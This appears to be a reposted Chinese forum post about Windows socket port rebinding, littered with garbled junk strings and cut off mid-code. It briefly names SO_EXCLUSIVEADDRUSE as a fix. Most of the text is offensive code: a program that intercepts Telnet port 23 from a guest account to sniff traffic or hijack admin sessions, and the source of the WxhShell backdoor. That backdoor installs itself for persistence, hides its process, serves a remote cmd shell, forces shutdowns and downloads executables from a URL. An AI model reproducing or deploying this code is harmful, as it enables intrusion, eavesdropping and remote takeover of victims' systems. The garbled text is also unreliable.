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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `jSe gG' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~6IY4']m* 7Mk>`4D'c saddr.sin_family = AF_INET; #ID
fJ2 ) J.xQ}g saddr.sin_addr.s_addr = htonl(INADDR_ANY); "=1gA~T @yo6w}3+- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4EmdQn Lq;T\m_de 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iD*Hh-
*ow`}Q 这意味着什么?意味着可以进行如下的攻击: v>j,8E @Pf9;7,TV 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {*P[dyu (Ldvx_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
JJmW%%]i HNCu:$Wr@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k%X
$@NP *CPp U| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 8|^&~Rl4 qoOwR[NDcq 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qYJ<I'Ux O +Gg|BTTL/ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~_Fx2T:X ?dbSm3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J/Lf(;C_ L]8z6]j* #include 4\5i}MIS0 #include heL`"Y2'y> #include IT{c:jo1{` #include
PpKjjA< DWORD WINAPI ClientThread(LPVOID lpParam); zyhM*eM.7 int main() ]A5Y/dd { >KL=(3:":p WORD wVersionRequested; Hqs!L`oW) DWORD ret; 9cHo~F|ur WSADATA wsaData; Rk7F;2 BOOL val; .{\eco SOCKADDR_IN saddr; qdn_ZE SOCKADDR_IN scaddr; xT]t3'y|- int err; yo/;@}g}
SOCKET s; /]^Y\U ^ SOCKET sc; ^C1LQZ int caddsize; g e(,>xB HANDLE mt; 1G7l+6w5~^ DWORD tid; jU~ x^Y wVersionRequested = MAKEWORD( 2, 2 ); e5 L_<V^Jo err = WSAStartup( wVersionRequested, &wsaData ); WG3!M/4r H if ( err != 0 ) { \pfa\,rW printf("error!WSAStartup failed!\n"); w;yzgj:n&f return -1; R~T} } _dRB=bl"O saddr.sin_family = AF_INET; VnVBA-#r| ^3BPOK[*gB //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i%[ gNh l)*(UZ" saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |Q%P4S"B? saddr.sin_port = htons(23); V:'F_/&X? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZnRT$ l O {
*Z^`H!& printf("error!socket failed!\n"); A&)2m return -1; }oA>0Nw$K } ) WbWp4 val = TRUE; KILX?Pt[7 //SO_REUSEADDR选项就是可以实现端口重绑定的 U 7.k Yu if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tE_n>~Zs { `WN80d\)& printf("error!setsockopt failed!\n"); >5#}/G& return -1; NLY=o@< } Lc5zu7ncg //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &Ap9h#
dK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VC/-5'_6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Qv5fK E&
i (T2c if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) in/~' u { w~)tEN> ret=GetLastError(); S'8+jY printf("error!bind failed!\n"); +^+'.xQ return -1; P%lD9<jED } s{R,- \_ listen(s,2); vhbHt_!u& while(1) ^;<d<V}* { \?
)S{ caddsize = sizeof(scaddr); erW2>^My //接受连接请求 V~[b`&F
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]sqLGmUL if(sc!=INVALID_SOCKET) On}1&!{1] { F`m}RL]g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -yBKA]"<I if(mt==NULL) &H%/.4la { ! e$ZOYe printf("Thread Creat Failed!\n"); {%G9iOV. break; PXYLLX\3 } sWte& } Z::I3 Q CloseHandle(mt); O^`EuaL } 0S$k;q closesocket(s); ];hqI O#nM WSACleanup(); TLVsTM8P return 0; (O4oIU } '*mZ/O- DWORD WINAPI ClientThread(LPVOID lpParam) qWheoyAB { i,r:R
g~ SOCKET ss = (SOCKET)lpParam; 17Cb{Q SOCKET sc; JkWhYP } unsigned char buf[4096]; e
O\72? K SOCKADDR_IN saddr; fV|uKs(W long num; <[)-Q~Gg5 DWORD val; W&Fm;m@M DWORD ret; 9GH5 //如果是隐藏端口应用的话,可以在此处加一些判断 > v%.q]E6n //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 &>,]YrU saddr.sin_family = AF_INET; dT*Yv`h saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H5x7)1Ir| saddr.sin_port = htons(23); H?];8wq$G if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d,Aa8I { L? DlR hu printf("error!socket failed!\n"); qIQ=OY=6 return -1; B223W_0"o } RbTGAA
val = 100; KhfADqji| if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B4RrUA32 { P M [_0b ret = GetLastError(); |-}.Y(y return -1; \)No?fB } H%@f ^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5OI.Ka { B1)Eo2i# ret = GetLastError(); Fb(@i return -1; _x<NGIz } g77M5(ME if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sQ#e 2 { =0d|F
8 printf("error!socket connect failed!\n"); n8<?<-2 closesocket(sc); 9y*] {IY closesocket(ss); dYrgL3' return -1; ud`-w } z;>$["t]6 while(1) C*b[J { bwXeEA@{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X6G{.Vh" //如果是嗅探内容的话,可以再此处进行内容分析和记录 >;I8w( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5q0L<GOrj num = recv(ss,buf,4096,0); y(Gn+ if(num>0) ML905n u send(sc,buf,num,0); r)5xS] else if(num==0) <3{MS],<< break; >n09K8
A num = recv(sc,buf,4096,0); Jx.fDVJ if(num>0) >N Bc-DX^ send(ss,buf,num,0); 'NlhLu else if(num==0) [
@eA o> break; P 0.cF]<m } eZPeyYX closesocket(ss); XG.[C> closesocket(sc); V+"%BrM return 0 ; `xBoNQai } p3U)J&]c6 ^ f! M"@ 9-c3@>v ========================================================== 8<C*D".T$ .Z[4:TS 下边附上一个代码,,WXhSHELL }(t`s +<1 |apS1 ========================================================== e%JIqKS eT".psRiC #include "stdafx.h" skcyLIb `MSig)V #include <stdio.h> cuQ!"iH #include <string.h> &!CVF #include <windows.h> 754MQK|g #include <winsock2.h> /9R0}4i7 #include <winsvc.h> M(I%y0 #include <urlmon.h> 5)%ahmY $v@$C4 #pragma comment (lib, "Ws2_32.lib")
juOStTq< #pragma comment (lib, "urlmon.lib") !Ap5Uwd wN!\$i@E: #define MAX_USER 100 // 最大客户端连接数 q~R8<G%YK #define BUF_SOCK 200 // sock buffer OS,!`8cw #define KEY_BUFF 255 // 输入 buffer vdq=F|& \l:R]:w;ZI #define REBOOT 0 // 重启 <==uK>pET #define SHUTDOWN 1 // 关机 :'DyZy2Fd {}YA7M:L #define DEF_PORT 5000 // 监听端口 Da(k>vR@4 TRm#H$ #define REG_LEN 16 // 注册表键长度 ZW [&7[4 #define SVC_LEN 80 // NT服务名长度 &THtQ1D .#QE*<T)] // 从dll定义API @A1f#Ed< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $t;:"i> typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z`tmuu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |eu8;~A typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^+P.f[ WoZU} T- // wxhshell配置信息 xQFY/Z struct WSCFG { M~2Us{ ` int ws_port; // 监听端口 d~u=,@FK char ws_passstr[REG_LEN]; // 口令 Y#9W]78He int ws_autoins; // 安装标记, 1=yes 0=no R2Tt6 char ws_regname[REG_LEN]; // 注册表键名 z{W Cw char ws_svcname[REG_LEN]; // 服务名 yI:
;+K char ws_svcdisp[SVC_LEN]; // 服务显示名 |E1U$,s~u char ws_svcdesc[SVC_LEN]; // 服务描述信息 sv=U^xI char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B5z'Tq1 int ws_downexe; // 下载执行标记, 1=yes 0=no ;g!rc#z2g char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 5C!zEI) char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a}%f+`z a dqS.xs }; BXYHJ /"Vd( K2Z // default Wxhshell configuration r E m/Q! struct WSCFG wscfg={DEF_PORT, QR&e~rks "xuhuanlingzhe", %'iJVFF 1, "/zgh "Wxhshell", ,4Q4{Tx "Wxhshell", RzqgN*]lY "WxhShell Service", -hXKCb4YU "Wrsky Windows CmdShell Service", T aS1%( "Please Input Your Password: ", KkCGL*]K 1, |cU75
S 1 " http://www.wrsky.com/wxhshell.exe", C<D$Y,[w "Wxhshell.exe" o`iA& }; l5T[6C @}4aF| // 消息定义模块 P2'N4?2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (mIjG)4t char *msg_ws_prompt="\n\r? for help\n\r#>"; p]mN) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; vIRT$W' O} char *msg_ws_ext="\n\rExit."; fxd+0R;f char *msg_ws_end="\n\rQuit."; '[WL8,.Q char *msg_ws_boot="\n\rReboot..."; 9f!
M1 char *msg_ws_poff="\n\rShutdown..."; vxmX5. char *msg_ws_down="\n\rSave to "; -0^]: g=t`3X#d char *msg_ws_err="\n\rErr!"; v'i'I/ char *msg_ws_ok="\n\rOK!"; )h}IZSm *S}@DoXS char ExeFile[MAX_PATH]; $Lp [i
<O] int nUser = 0; WutPy_L< HANDLE handles[MAX_USER]; 6nL^"3@S! int OsIsNt; 9rMO= ^VXhv9\>B SERVICE_STATUS serviceStatus; +*8su5:[&@ SERVICE_STATUS_HANDLE hServiceStatusHandle; EX8+3>) ii?T:T@ // 函数声明 @5^&&4>N int Install(void); 9ngxkOGx int Uninstall(void); w-n}&f int DownloadFile(char *sURL, SOCKET wsh); <MbhBIejr int Boot(int flag); ,ucRQ&P void HideProc(void); ^sf,mM~D int GetOsVer(void); M{L- V int Wxhshell(SOCKET wsl); *6?mZ*GYY void TalkWithClient(void *cs); i"<W6 int CmdShell(SOCKET sock); (\F9_y,6*\ int StartFromService(void); qx ki int StartWxhshell(LPSTR lpCmdLine); Cx2#
0$ tczJk1g} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bA)nWWSg= VOID WINAPI NTServiceHandler( DWORD fdwControl ); J1G}l5N e{E\YEc
// 数据结构和表定义 2fTuIS<yr SERVICE_TABLE_ENTRY DispatchTable[] = 86=W}eV1r { D|ceZ <9x {wscfg.ws_svcname, NTServiceMain}, 2K9X (th1 {NULL, NULL} ,'0#q }; $E@n;0P -FJ3;fP& // 自我安装 8m{e,o2. int Install(void) ;}E}N:A { NF&Sv char svExeFile[MAX_PATH]; ~LS</_N HKEY key; RB %+|@c strcpy(svExeFile,ExeFile); t1w]L +;~N; BT // 如果是win9x系统,修改注册表设为自启动 -zFJ)!/? if(!OsIsNt) { 6Hnez @d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dz0D ^(;V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !`e`4y*N RegCloseKey(key); |#_p0yPy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w x]?D%l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Onq^|r's& RegCloseKey(key); `PbY(6CF return 0; DO(};R%= } 8_}t,BC } oMEW5.VX } 0''p29 else {
P\MDD@ Q` u# // 如果是NT以上系统,安装为系统服务 "kP,v&n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a>OYJe if (schSCManager!=0) 4v`/~a { xS 1|t}; SC_HANDLE schService = CreateService Odo)h ( @*eY~ schSCManager, PgA<pfEHE wscfg.ws_svcname, 7*PBJt\ wscfg.ws_svcdisp, ;y,g%uqE SERVICE_ALL_ACCESS, 3/+kjY/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G Y%5N= u SERVICE_AUTO_START, v^ ^Ibv SERVICE_ERROR_NORMAL, bW=q G svExeFile, i9L]h69r NULL, 4z(~)#'^ NULL, b1?^9c#0d NULL, ?(gha NULL, T#qf&Q Z NULL ,Wd=!if ); @MOQk if (schService!=0) *F1TZ_GS { U,WMP<5& CloseServiceHandle(schService); OWibmX CloseServiceHandle(schSCManager); ms0V1` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }*(_JR4G strcat(svExeFile,wscfg.ws_svcname);
sm`c9[E if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7y=O!?* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {rcN_N% RegCloseKey(key); s;I
@En return 0; i F+:j8
b } g8.z?Ia#5Z } IB&G#2M< CloseServiceHandle(schSCManager); /ugWl99.W } 8|zavH#P } n$C-^3c nriSVGi return 1; OdFF)-K>~ } i(|ug_^ a(vt"MQ_ // 自我卸载 IVPN=jg? int Uninstall(void) q'8*bu_ { Rj";?.R*e HKEY key; /O:4u_ @ ;!IPiU if(!OsIsNt) { HX2u{2$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _ \4#I( RegDeleteValue(key,wscfg.ws_regname); :2KHiT5 RegCloseKey(key); =H)]HxEEM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d'96$e o~ RegDeleteValue(key,wscfg.ws_regname); /''=V.-N RegCloseKey(key); f!kZyD7 return 0; )l`Ks } +A?P 4} } Bug.>ln1 } G{[w+ObX else { k( Sda>- e#/&A5#Ya SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QwX81*nx if (schSCManager!=0) Zy+ERaF|] { EK4%4<" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {3 if (schService!=0) S%MDQTM { HVus\s\&y% if(DeleteService(schService)!=0) { MU$tX CloseServiceHandle(schService);
`vH|P CloseServiceHandle(schSCManager); Kn->R9Tl return 0; //c6vG } <\epj=OclV CloseServiceHandle(schService); +r!NR?^m } _S{TjGZ&
CloseServiceHandle(schSCManager); oW^x=pS9 } \H .Cmm^I } [@9S-$Xa _{`Z?lt return 1; ?+EAp"{j } UWO3sZpU /V*SI!C<f // 从指定url下载文件 4tm%F\Izy int DownloadFile(char *sURL, SOCKET wsh) tn$TyCzckW { z6U'"T"a HRESULT hr; 4tkT\. char seps[]= "/"; <5G(Y#s/? char *token; )f$4:Pq char *file; L6CI9C;-b char myURL[MAX_PATH]; bIGcszWr char myFILE[MAX_PATH]; +#,J`fV% Z5TA4Q+Q strcpy(myURL,sURL); Rf0so token=strtok(myURL,seps); we_CF*zj while(token!=NULL) ]AA|BeL?| { d2eXN3" file=token; :jv(-RTI token=strtok(NULL,seps); L'Cd`.yVO } A4,%l\di< KWo Ps%G GetCurrentDirectory(MAX_PATH,myFILE); R{c~jjd strcat(myFILE, "\\"); =l:V9u-I^ strcat(myFILE, file); /4(HVua send(wsh,myFILE,strlen(myFILE),0); =!L}/Dl send(wsh,"...",3,0); }kt%dDU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P@@MQ[u?!. if(hr==S_OK) *jhgCm return 0; C:No ^nH> else zV}:~;w return 1; ~E6sY
eikZ~!@ } ((`\i=-o5 )&T 5/+ // 系统电源模块 FDgo6x int Boot(int flag) t#(=$ { |kh{EUE
; HANDLE hToken; m4~
|z TOKEN_PRIVILEGES tkp; '1DY5`i{ Mlc_w19C9 if(OsIsNt) { a0)w/A& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O\f`+Q`0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G~y:ZEnN[ tkp.PrivilegeCount = 1; OB9E30 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &S
xF"pYV AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zq&'a_ if(flag==REBOOT) { d 8;kM`U if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) itNuY<" return 0; Fk49~z } MH)V=xU|) else { .'o=J`| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Eb~vNdPo return 0; b4wT3 } 445JOP } M-].l3 else { h._eP.W ` if(flag==REBOOT) { \%r0'1f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d:iJUVpr return 0; FR6 W-L } d1_kw
A2y else { \},H\kK+^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I(7GVYM return 0; Q&PWW#D } mfg>69,w } Fc[vs52 mCt/\ return 1; q}p$S2` } ?ch?q~e) oU,8?(}'~ // win9x进程隐藏模块 oJNQdW[ void HideProc(void) L/Kb\\f { ,
poc!n// ]#4kqj} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q !9;JrX if ( hKernel != NULL ) SrNc { yCR8 c,'8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jMBMqQNU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?J+jv FreeLibrary(hKernel); #Pk{emYW } ;{0alhMZ 1o/(fy return; OcMB)1uh\ } >"1EN5W
T^]]z}k // 获取操作系统版本 xGr{ad.N int GetOsVer(void) G*EF_N.G0 { M/Z$?nd_H OSVERSIONINFO winfo; TU)Pi.Aa winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kF'9@*?J GetVersionEx(&winfo); qbSI98rw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g$C]ln>"9m return 1; +dLUq2 else ShVR{gIs return 0; Wn6m$ = } ]r!|@AWrQ\ c.1gQy$}| // 客户端句柄模块 JE{cZ<NNH int Wxhshell(SOCKET wsl) 2hNl_P~z1u { jFg19C{=X SOCKET wsh; WFc4(Kl struct sockaddr_in client; >{(c\oMD DWORD myID; k(tB+k!vH\ !21G$[H while(nUser<MAX_USER) UVLS?1ra { CLZj=J2 int nSize=sizeof(client); >0:3CpO* wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O[$X36z if(wsh==INVALID_SOCKET) return 1; n~
$S aC=2v7* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !Z>,dN if(handles[nUser]==0) NUb$PT closesocket(wsh); bA0H else ORKJy)*" nUser++; 9$U>St } .<%q9Jy# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7hx^U90K F$4=7Njv return 0; h&i(Kfv* } FZU1WBNL%t X&aQR[X // 关闭 socket FTEC=j$ln void CloseIt(SOCKET wsh) /g*_dH)= { 6(?@B^S>2 closesocket(wsh); ^F?B_' nUser--; x&u@!# d] ExitThread(0); 7>@0nHec } 20$Tky_ ik?IC$*n3i // 客户端请求句柄 ^y ', l void TalkWithClient(void *cs) B!`.,3 { BQUYT/$( a'-xCV|^ SOCKET wsh=(SOCKET)cs; r
UZN$="N char pwd[SVC_LEN]; ?nu<)~r53 char cmd[KEY_BUFF]; E)Qg^DHP/ char chr[1];
h8p{ int i,j; Xo(W\Pes jQz^)8)B while (nUser < MAX_USER) { RF6]_-
OAo03KW if(wscfg.ws_passstr) { <l,e6K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NR&a
er //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X`v6gv5qj //ZeroMemory(pwd,KEY_BUFF); (/&ht-~EL i=0; Qu<HeSA_ while(i<SVC_LEN) { Bk.`G)t MwD+'5
// 设置超时 &{WEtaXaa fd_set FdRead; 7 v3%dCvf struct timeval TimeOut; aB G* FD_ZERO(&FdRead); z,C>Rh9Id FD_SET(wsh,&FdRead); b;;y|H TimeOut.tv_sec=8; 6,CK1j+tZ TimeOut.tv_usec=0; Yx. t+a- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #0*I|gfV if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n|=yw6aV' b!SIs* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V^.Z&7+E`_ pwd =chr[0]; 2&s(:= if(chr[0]==0xd || chr[0]==0xa) { T|oDJ]\J pwd=0; /Yww G;1 break; 26zif } uGlz|C i++; M>RLS/r>d } 23;\l uY3$nlhP6 // 如果是非法用户,关闭 socket 1Ogtzf if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h9c7P@29 } =&4eW#{LuH r!>=G% send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n#GHa>p.- send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _fj@40i M Um/ g&k while(1) {
JZyEyN [sPLu)q2 ZeroMemory(cmd,KEY_BUFF); 75Bn p9 =5pwNi_S // 自动支持客户端 telnet标准 )d
{8Cu6 j=0; Y'6P ~C;v while(j<KEY_BUFF) { u4=ulgi if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;rCCkA6 cmd[j]=chr[0]; V^9%+L+E5 if(chr[0]==0xa || chr[0]==0xd) { ~te{9/ cmd[j]=0; L(`q3>iC4. break; 6NFLk+kqN } 2I4G=jM[ j++; b;mpZ|T. } WIwGw %_~ c3Ig4 n0Y> // 下载文件 ;P|v'NNI if(strstr(cmd,"http://")) { l_q1h]/
send(wsh,msg_ws_down,strlen(msg_ws_down),0); jI}{0LW&F& if(DownloadFile(cmd,wsh)) N~yGtnW send(wsh,msg_ws_err,strlen(msg_ws_err),0); #zd}xla0] else *i7-_pT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7x
|Pgu( } P/9|mYmsq else { !G~\9 #DTBdBh?I switch(cmd[0]) { ol4!#4Y&{ '(($dT // 帮助 U@:iN.. case '?': { BS3BJwf;
f send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T:j!a{_| break; pHDPj,lu } n lvDMZ // 安装 TU8K\;l] case 'i': { `p^xdj} if(Install()) `jFvG\aC send(wsh,msg_ws_err,strlen(msg_ws_err),0); a<D]Gz^h else [;INVUwG^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MES| iB break; I1Gk^wO } 0jefV*3qpB // 卸载 '-X913eG! case 'r': { j7&0ckN&G if(Uninstall()) e-{4qt send(wsh,msg_ws_err,strlen(msg_ws_err),0); BA0.B0+" else V:4($ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5HbPS%^. break; Vuo 8[h> } {[B` q // 显示 wxhshell 所在路径 iuq%Q\0@w case 'p': { b{JxTT}03 char svExeFile[MAX_PATH]; _UeIzdV9 strcpy(svExeFile,"\n\r"); 0l %|2}a strcat(svExeFile,ExeFile); ] yXrD`J! send(wsh,svExeFile,strlen(svExeFile),0); G Q+g.{c break; w.0]>/C } m`ab5<%Gn // 重启 (V~PYf% case 'b': { {?'c|\n Li send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p>]2o\[" if(Boot(REBOOT)) ,7Lu7Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); j]_"MMwk$< else { F_Mi/pB^`9 closesocket(wsh); ma M8:\ ExitThread(0); =l9H]`T/ } =}AwA5G break; A|U_$!cLZ } D3%`vqu& // 关机 HPR*:t case 'd': { jG3i
)ALx send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r*l:F{ if(Boot(SHUTDOWN)) [I` 6F6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); PizPsJ|& else { nM)H2'%kL& closesocket(wsh); [P_1a`b ExitThread(0); KIUa } 7e-l`] break; H0B"?81 } ^Ru/7pw5 // 获取shell 3$`qy|=zO case 's': { Ea*Jl< CmdShell(wsh); V qW(S1w closesocket(wsh); GzUgzj|BN~ ExitThread(0); 3l@={Ts break; 0zAj.iG } Ge;plD-f // 退出 U= PG0 case 'x': { VFMg$qv|_ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~?{"H< CloseIt(wsh); B/CP/Pfb break; "8"7AoE } ^*]0quu=z // 离开 :bgi*pR{ case 'q': { WV"{oED send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8V(#S:G35 closesocket(wsh); Q04iuhDO: WSACleanup(); x+9aTsZ exit(1); GxGZxf*( break; %h%^i
} s^$zOp9 } lLT;V2=osX } m+Yj"RMx& =ITMAC\ // 提示信息 <zK9J?ZQW> if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,9f$an } |f~p3KCfV } 'I_\ELb_ pr[[)[]/ return; T(^<sjOs } &4yI] |vnfY;
;z1 // shell模块句柄 <c6C+OWT, int CmdShell(SOCKET sock) k]"Rg2>% { ,g$N STARTUPINFO si; ET`;TfqM ZeroMemory(&si,sizeof(si)); xXu/CGzG si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s Hu~;) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rd5r~iT PROCESS_INFORMATION ProcessInfo; 7oDr`=q1]r char cmdline[]="cmd"; e}e\*BL CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >w?O?&Q$ return 0; !58-3F%P } w7"Z@$fs KwRO?G9& // 自身启动模式 )A['+s int StartFromService(void) ![iAALPNl { Px}#{fkS typedef struct (yAQm pp { t\]CdH`+ DWORD ExitStatus; -C5Qh&~W DWORD PebBaseAddress; SD6xi\8 DWORD AffinityMask; CV4r31w DWORD BasePriority; >b0e"eGt ULONG UniqueProcessId; ^6ZA2-f/<8 ULONG InheritedFromUniqueProcessId; v>$GVCY } PROCESS_BASIC_INFORMATION; EpCUL@+ Mnaoh:z PROCNTQSIP NtQueryInformationProcess; 81/Bn! )=X8kuB~ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1k\1U static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3M(:}c |_%| HANDLE hProcess; UtiS?w6 PROCESS_BASIC_INFORMATION pbi; y2^r.6"O Sj}@5 X6 C HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y^:g"|q if(NULL == hInst ) return 0; >'8.>f 1DGVAIcD g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~/hP6* g_pGetModuleBaseName = 